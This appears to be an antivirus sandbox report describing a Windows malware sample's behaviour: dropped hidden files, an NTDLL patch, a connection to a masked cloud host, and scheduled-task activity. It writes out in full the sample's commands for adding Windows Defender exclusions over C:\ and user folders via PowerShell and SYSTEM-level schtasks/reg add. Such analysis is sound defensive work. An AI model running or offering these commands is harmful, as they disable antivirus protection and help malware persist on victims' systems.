Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\oibbx
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%','C:\Users','C:\Program Files (x86)','C:\' -Force
Patches code
in NTDLL dll
- feuuv.exe process, ntdll.dll module
Modifies file system
Creates the following files
- C:\users\public\gfwncx\hyvfnx.exe
- C:\users\public\gfwncx\uxenhance64.dll
- C:\users\public\gfwncx\msadox.tb
- C:\users\public\gfwncx\adoresd.dat
- %WINDIR%\temp\ranchserv.jpg
- unc\localhost\pipe\atsvc
Sets the 'hidden' attribute to the following files
- C:\users\public\gfwncx\hyvfnx.exe
- C:\users\public\gfwncx\uxenhance64.dll
- C:\users\public\gfwncx\msadox.tb
- C:\users\public\gfwncx\adoresd.dat
Network activity
Connects to
- 'yb####.###-cn-beijing.aliyuncs.com':443
TCP
HTTP GET requests
- http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?d7##############
Other
- 'yb####.###-cn-beijing.aliyuncs.com':443
UDP
- DNS ASK yb####.###-cn-beijing.aliyuncs.com
Miscellaneous
Creates and executes the following
- 'C:\users\public\gfwncx\hyvfnx.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public...
- '<SYSTEM32>\schtasks.exe' /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\GFwNCx\" /t REG_DWO...
- '<SYSTEM32>\schtasks.exe' /Run /TN "Task1"
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\GFwNCx" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\schtasks.exe' /Delete /TN "Task1" /F
- '<SYSTEM32>\cmd.exe' cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%ALLUSERSPROFIL...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%','C:\Users','C:\Program Files (x86)','C:\' -Force' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public...' (with hidden window)
- '<SYSTEM32>\cmd.exe' cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%ALLUSERSPROFIL...' (with hidden window)
